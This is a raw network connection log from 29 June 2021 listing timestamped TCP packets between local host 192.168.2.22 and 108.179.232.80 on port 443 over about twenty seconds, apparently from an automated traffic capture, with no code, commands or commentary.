Jun 29, 2021 17:40:35.722843885 CEST	443	49168	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:35.722858906 CEST	443	49168	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:35.722930908 CEST	49168	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:35.722956896 CEST	49168	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:35.729106903 CEST	443	49168	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:35.729341030 CEST	49168	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:35.760533094 CEST	49168	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:35.927985907 CEST	443	49168	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:35.928103924 CEST	49168	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:36.528536081 CEST	49168	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:36.731374979 CEST	443	49168	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:37.117383957 CEST	443	49168	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:37.117415905 CEST	443	49168	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:37.117592096 CEST	49168	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:37.118180990 CEST	49168	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:37.120270014 CEST	49170	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:37.278953075 CEST	443	49170	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:37.279042006 CEST	49170	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:37.279620886 CEST	49170	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:37.280631065 CEST	443	49168	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:37.436506033 CEST	443	49170	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:37.444791079 CEST	443	49170	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:37.444859028 CEST	49170	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:37.445382118 CEST	49170	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:37.479882956 CEST	49170	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:37.638313055 CEST	443	49170	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:38.026087999 CEST	443	49170	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:38.026150942 CEST	443	49170	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:38.026344061 CEST	49170	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:38.026978970 CEST	49170	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:38.028438091 CEST	49171	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:38.184117079 CEST	443	49170	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:38.189817905 CEST	443	49171	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:38.189966917 CEST	49171	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:38.190619946 CEST	49171	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:38.353727102 CEST	443	49171	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:38.353754997 CEST	443	49171	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:38.354274988 CEST	49171	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:38.354813099 CEST	49171	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:38.390655994 CEST	49171	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:38.553565979 CEST	443	49171	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:39.001461029 CEST	443	49171	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:39.001487017 CEST	443	49171	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:39.001722097 CEST	49171	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:39.002619028 CEST	49171	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:39.004996061 CEST	49172	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:39.166378975 CEST	443	49171	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:39.167180061 CEST	443	49172	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:39.167383909 CEST	49172	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:39.168292046 CEST	49172	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:39.330358982 CEST	443	49172	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:39.331199884 CEST	443	49172	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:39.331335068 CEST	49172	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:39.331768990 CEST	49172	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:39.336335897 CEST	49172	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:39.498384953 CEST	443	49172	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:39.907809973 CEST	443	49172	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:39.907890081 CEST	49172	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:39.908579111 CEST	443	49172	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:39.908631086 CEST	49172	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:39.910267115 CEST	49172	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:39.911551952 CEST	49173	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:40.074424028 CEST	443	49172	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:40.074461937 CEST	443	49173	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:40.074630976 CEST	49173	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:40.075232983 CEST	49173	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:40.239305973 CEST	443	49173	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:40.239337921 CEST	443	49173	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:40.239456892 CEST	49173	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:40.239959002 CEST	49173	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:40.245984077 CEST	49173	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:40.408925056 CEST	443	49173	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:40.822617054 CEST	443	49173	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:40.822673082 CEST	443	49173	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:40.822793961 CEST	49173	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:40.823797941 CEST	49173	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:40.826286077 CEST	49174	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:40.985713005 CEST	443	49173	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:40.985740900 CEST	443	49174	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:40.985882998 CEST	49174	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:41.301363945 CEST	49174	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:41.461431980 CEST	443	49174	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:41.461467981 CEST	443	49174	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:41.461623907 CEST	49174	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:41.462349892 CEST	49174	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:41.470894098 CEST	49174	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:41.629509926 CEST	443	49174	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:42.060748100 CEST	443	49174	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:42.060782909 CEST	443	49174	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:42.060830116 CEST	49174	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:42.060864925 CEST	49174	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:42.061394930 CEST	49174	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:42.064610004 CEST	49175	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:42.220565081 CEST	443	49174	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:42.226533890 CEST	443	49175	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:42.226785898 CEST	49175	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:42.227348089 CEST	49175	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:42.388978004 CEST	443	49175	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:42.389566898 CEST	443	49175	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:42.389681101 CEST	49175	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:42.390389919 CEST	49175	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:42.399377108 CEST	49175	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:42.576750994 CEST	443	49175	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:43.000700951 CEST	443	49175	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:43.000905037 CEST	443	49175	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:43.000960112 CEST	49175	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:43.001004934 CEST	49175	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:43.001894951 CEST	49175	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:43.004384995 CEST	49176	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:43.163376093 CEST	443	49175	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:43.166083097 CEST	443	49176	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:43.166209936 CEST	49176	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:43.167155981 CEST	49176	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:43.330795050 CEST	443	49176	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:43.330821037 CEST	443	49176	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:43.334750891 CEST	49176	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:43.335155964 CEST	49176	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:43.341559887 CEST	49176	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:43.502640009 CEST	443	49176	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:43.934874058 CEST	443	49176	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:43.934919119 CEST	443	49176	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:43.935090065 CEST	49176	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:43.935904026 CEST	49176	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:43.938319921 CEST	49177	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:44.098834038 CEST	443	49177	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:44.098882914 CEST	443	49176	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:44.098977089 CEST	49177	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:44.099780083 CEST	49177	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:44.257250071 CEST	443	49177	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:44.258615971 CEST	443	49177	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:44.258816004 CEST	49177	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:44.259454966 CEST	49177	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:44.265193939 CEST	49177	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:44.425463915 CEST	443	49177	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:44.856883049 CEST	443	49177	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:44.856950045 CEST	443	49177	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:44.857170105 CEST	49177	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:44.858135939 CEST	49177	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:44.860645056 CEST	49178	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:45.016876936 CEST	443	49177	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:45.021745920 CEST	443	49178	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:45.022077084 CEST	49178	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:45.022559881 CEST	49178	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:45.183305025 CEST	443	49178	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:45.184323072 CEST	443	49178	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:45.184602022 CEST	49178	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:45.185029984 CEST	49178	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:45.190188885 CEST	49178	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:45.357599974 CEST	443	49178	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:45.747081041 CEST	443	49178	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:45.747186899 CEST	443	49178	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:45.747482061 CEST	49178	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:45.748495102 CEST	49178	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:45.751106024 CEST	49179	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:45.909250021 CEST	443	49179	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:45.909305096 CEST	443	49178	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:45.909553051 CEST	49179	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:45.910523891 CEST	49179	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:46.067580938 CEST	443	49179	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:46.069324970 CEST	443	49179	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:46.069474936 CEST	49179	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:46.070082903 CEST	49179	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:46.074955940 CEST	49179	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:46.232203960 CEST	443	49179	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:46.625708103 CEST	443	49179	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:46.625756979 CEST	443	49179	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:46.625895023 CEST	49179	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:46.628454924 CEST	49179	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:46.633218050 CEST	49180	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:46.787280083 CEST	443	49179	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:46.795330048 CEST	443	49180	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:46.795416117 CEST	49180	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:46.796014071 CEST	49180	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:46.959014893 CEST	443	49180	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:46.966279984 CEST	443	49180	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:46.966511965 CEST	49180	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:46.967081070 CEST	49180	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:46.971483946 CEST	49180	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:47.133452892 CEST	443	49180	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:47.527173996 CEST	443	49180	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:47.527195930 CEST	443	49180	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:47.527507067 CEST	49180	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:47.528184891 CEST	49180	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:47.532720089 CEST	49181	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:47.693098068 CEST	443	49180	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:47.693129063 CEST	443	49181	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:47.693672895 CEST	49181	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:47.694261074 CEST	49181	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:47.851794958 CEST	443	49181	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:47.852401972 CEST	443	49181	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:47.852586031 CEST	49181	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:47.853295088 CEST	49181	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:47.861246109 CEST	49181	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:48.019790888 CEST	443	49181	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:48.425151110 CEST	443	49181	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:48.425235987 CEST	443	49181	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:48.425520897 CEST	49181	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:48.426897049 CEST	49181	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:48.430020094 CEST	49182	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:48.588187933 CEST	443	49181	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:48.591991901 CEST	443	49182	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:48.592109919 CEST	49182	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:48.592557907 CEST	49182	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:48.755271912 CEST	443	49182	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:48.755314112 CEST	443	49182	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:48.755465984 CEST	49182	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:48.756047010 CEST	49182	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:48.764987946 CEST	49182	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:48.927402973 CEST	443	49182	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:49.329041004 CEST	443	49182	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:49.329071999 CEST	443	49182	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:49.329255104 CEST	49182	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:49.329961061 CEST	49182	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:49.331245899 CEST	49183	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:49.489475012 CEST	443	49183	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:49.489602089 CEST	49183	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:49.490592003 CEST	49183	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:49.492106915 CEST	443	49182	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:49.651257038 CEST	443	49183	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:49.651279926 CEST	443	49183	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:49.651441097 CEST	49183	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:49.651967049 CEST	49183	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:49.658570051 CEST	49183	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:49.817692041 CEST	443	49183	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:50.215334892 CEST	443	49183	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:50.215359926 CEST	443	49183	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:50.215528965 CEST	49183	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:50.216474056 CEST	49183	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:50.219198942 CEST	49184	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:50.375348091 CEST	443	49183	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:50.381074905 CEST	443	49184	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:50.381217003 CEST	49184	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:50.382128954 CEST	49184	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:50.543509960 CEST	443	49184	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:50.546014071 CEST	443	49184	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:50.546188116 CEST	49184	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:50.546744108 CEST	49184	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:50.551795959 CEST	49184	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:50.715478897 CEST	443	49184	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:51.097723007 CEST	443	49184	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:51.097886086 CEST	443	49184	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:51.098012924 CEST	49184	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:51.098990917 CEST	49184	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:51.099006891 CEST	49184	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:51.101573944 CEST	49185	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:51.258891106 CEST	443	49185	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:51.259025097 CEST	49185	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:51.259417057 CEST	49185	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:51.260142088 CEST	443	49184	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:51.416699886 CEST	443	49185	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:51.417416096 CEST	443	49185	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:51.417670965 CEST	49185	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:51.418350935 CEST	49185	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:51.427419901 CEST	49185	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:51.585047960 CEST	443	49185	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:51.992132902 CEST	443	49185	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:51.992407084 CEST	49185	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:51.992450953 CEST	443	49185	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:51.992538929 CEST	49185	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:51.993374109 CEST	49185	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:51.995816946 CEST	49186	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:52.150445938 CEST	443	49185	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:52.155565023 CEST	443	49186	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:52.155664921 CEST	49186	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:52.156604052 CEST	49186	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:52.316390038 CEST	443	49186	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:52.317226887 CEST	443	49186	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:52.317392111 CEST	49186	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:52.318114042 CEST	49186	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:52.327260017 CEST	49186	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:52.487262964 CEST	443	49186	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:52.879410028 CEST	443	49186	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:52.879678011 CEST	49186	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:52.879729033 CEST	443	49186	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:52.879839897 CEST	49186	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:52.880654097 CEST	49186	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:52.886056900 CEST	49187	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:53.040551901 CEST	443	49186	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:53.048295021 CEST	443	49187	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:53.048508883 CEST	49187	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:53.049436092 CEST	49187	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:53.210396051 CEST	443	49187	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:53.211163044 CEST	443	49187	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:53.211288929 CEST	49187	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:53.211725950 CEST	49187	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:53.215967894 CEST	49187	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:53.376822948 CEST	443	49187	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:53.793000937 CEST	443	49187	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:53.793271065 CEST	49187	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:53.793358088 CEST	443	49187	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:53.793447018 CEST	49187	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:53.793838024 CEST	49187	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:53.795130968 CEST	49188	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:53.954685926 CEST	443	49187	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:53.954961061 CEST	443	49188	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:53.955125093 CEST	49188	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:53.956116915 CEST	49188	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:54.116512060 CEST	443	49188	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:54.117242098 CEST	443	49188	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:54.117495060 CEST	49188	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:54.118386030 CEST	49188	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:54.127475023 CEST	49188	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:54.287369013 CEST	443	49188	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:54.660942078 CEST	443	49188	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:54.661166906 CEST	443	49188	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:54.661205053 CEST	49188	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:54.661237955 CEST	49188	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:54.662203074 CEST	49188	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:54.664865971 CEST	49189	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:54.823375940 CEST	443	49188	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:54.827635050 CEST	443	49189	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:54.827811003 CEST	49189	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:54.828603029 CEST	49189	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:54.989984035 CEST	443	49189	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:54.990643978 CEST	443	49189	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:54.990766048 CEST	49189	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:54.991251945 CEST	49189	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:54.995007038 CEST	49189	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:55.156229973 CEST	443	49189	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:55.533253908 CEST	443	49189	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:55.533432007 CEST	49189	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:55.533720016 CEST	443	49189	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:55.533811092 CEST	49189	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:55.534142971 CEST	49189	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:55.535659075 CEST	49190	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:55.695267916 CEST	443	49189	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:55.695826054 CEST	443	49190	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:55.695941925 CEST	49190	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:55.696530104 CEST	49190	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:55.856389046 CEST	443	49190	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:55.857090950 CEST	443	49190	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:55.857161999 CEST	49190	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:55.857584000 CEST	49190	443	192.168.2.22	108.179.232.80
